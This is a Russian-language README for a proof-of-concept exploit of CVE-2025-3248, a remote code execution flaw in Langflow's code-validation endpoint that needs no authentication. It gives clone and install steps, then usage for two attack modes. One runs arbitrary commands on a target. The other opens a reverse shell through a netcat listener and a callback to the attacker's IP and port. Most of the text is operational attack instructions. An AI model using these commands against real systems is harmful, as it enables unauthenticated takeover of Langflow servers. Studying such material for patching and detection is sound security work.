CVE-2025-3248 - RCE в эндпоинте проверки кода Langflow

Эксплойт типа proof-of-concept, демонстрирующий уязвимость удаленного выполнения кода в эндпоинте проверки кода Langflow. Эта уязвимость затрагивает версии Langflow до 1.3.0 и позволяет неаутентифицированным злоумышленникам выполнять произвольный код с помощью специально сформированных HTTP-запросов.

Сведения об уязвимости

• Идентификатор CVE: CVE-2025-3248
• Затронутые версии: < 1.3.0
• Вектор атаки: Удалённый
• Требуется аутентификация: Нет
• Воздействие: Удалённое выполнение кода (RCE)
• Эндпоинт: /api/v1/validate/code

Предварительные требования

• Python 3.x
• Необходимые пакеты Python:
  • requests
  • colorama

Установка

1. Клонируйте репозиторий:

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. Установите зависимости:

pip install requests colorama

Использование

Эксплойт поддерживает два режима работы:

1. Режим выполнения команд

Выполнение одной команды на целевой системе:

python3 cve-2025-3248.py cmd <target_url> "<command>"

Пример:

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Режим обратной оболочки

Запуск интерактивной обратной оболочки:

1. Сначала запустите слушатель на вашей машине:

nc -lvnp 4444

2. Затем запустите эксплойт:

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Пример:

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444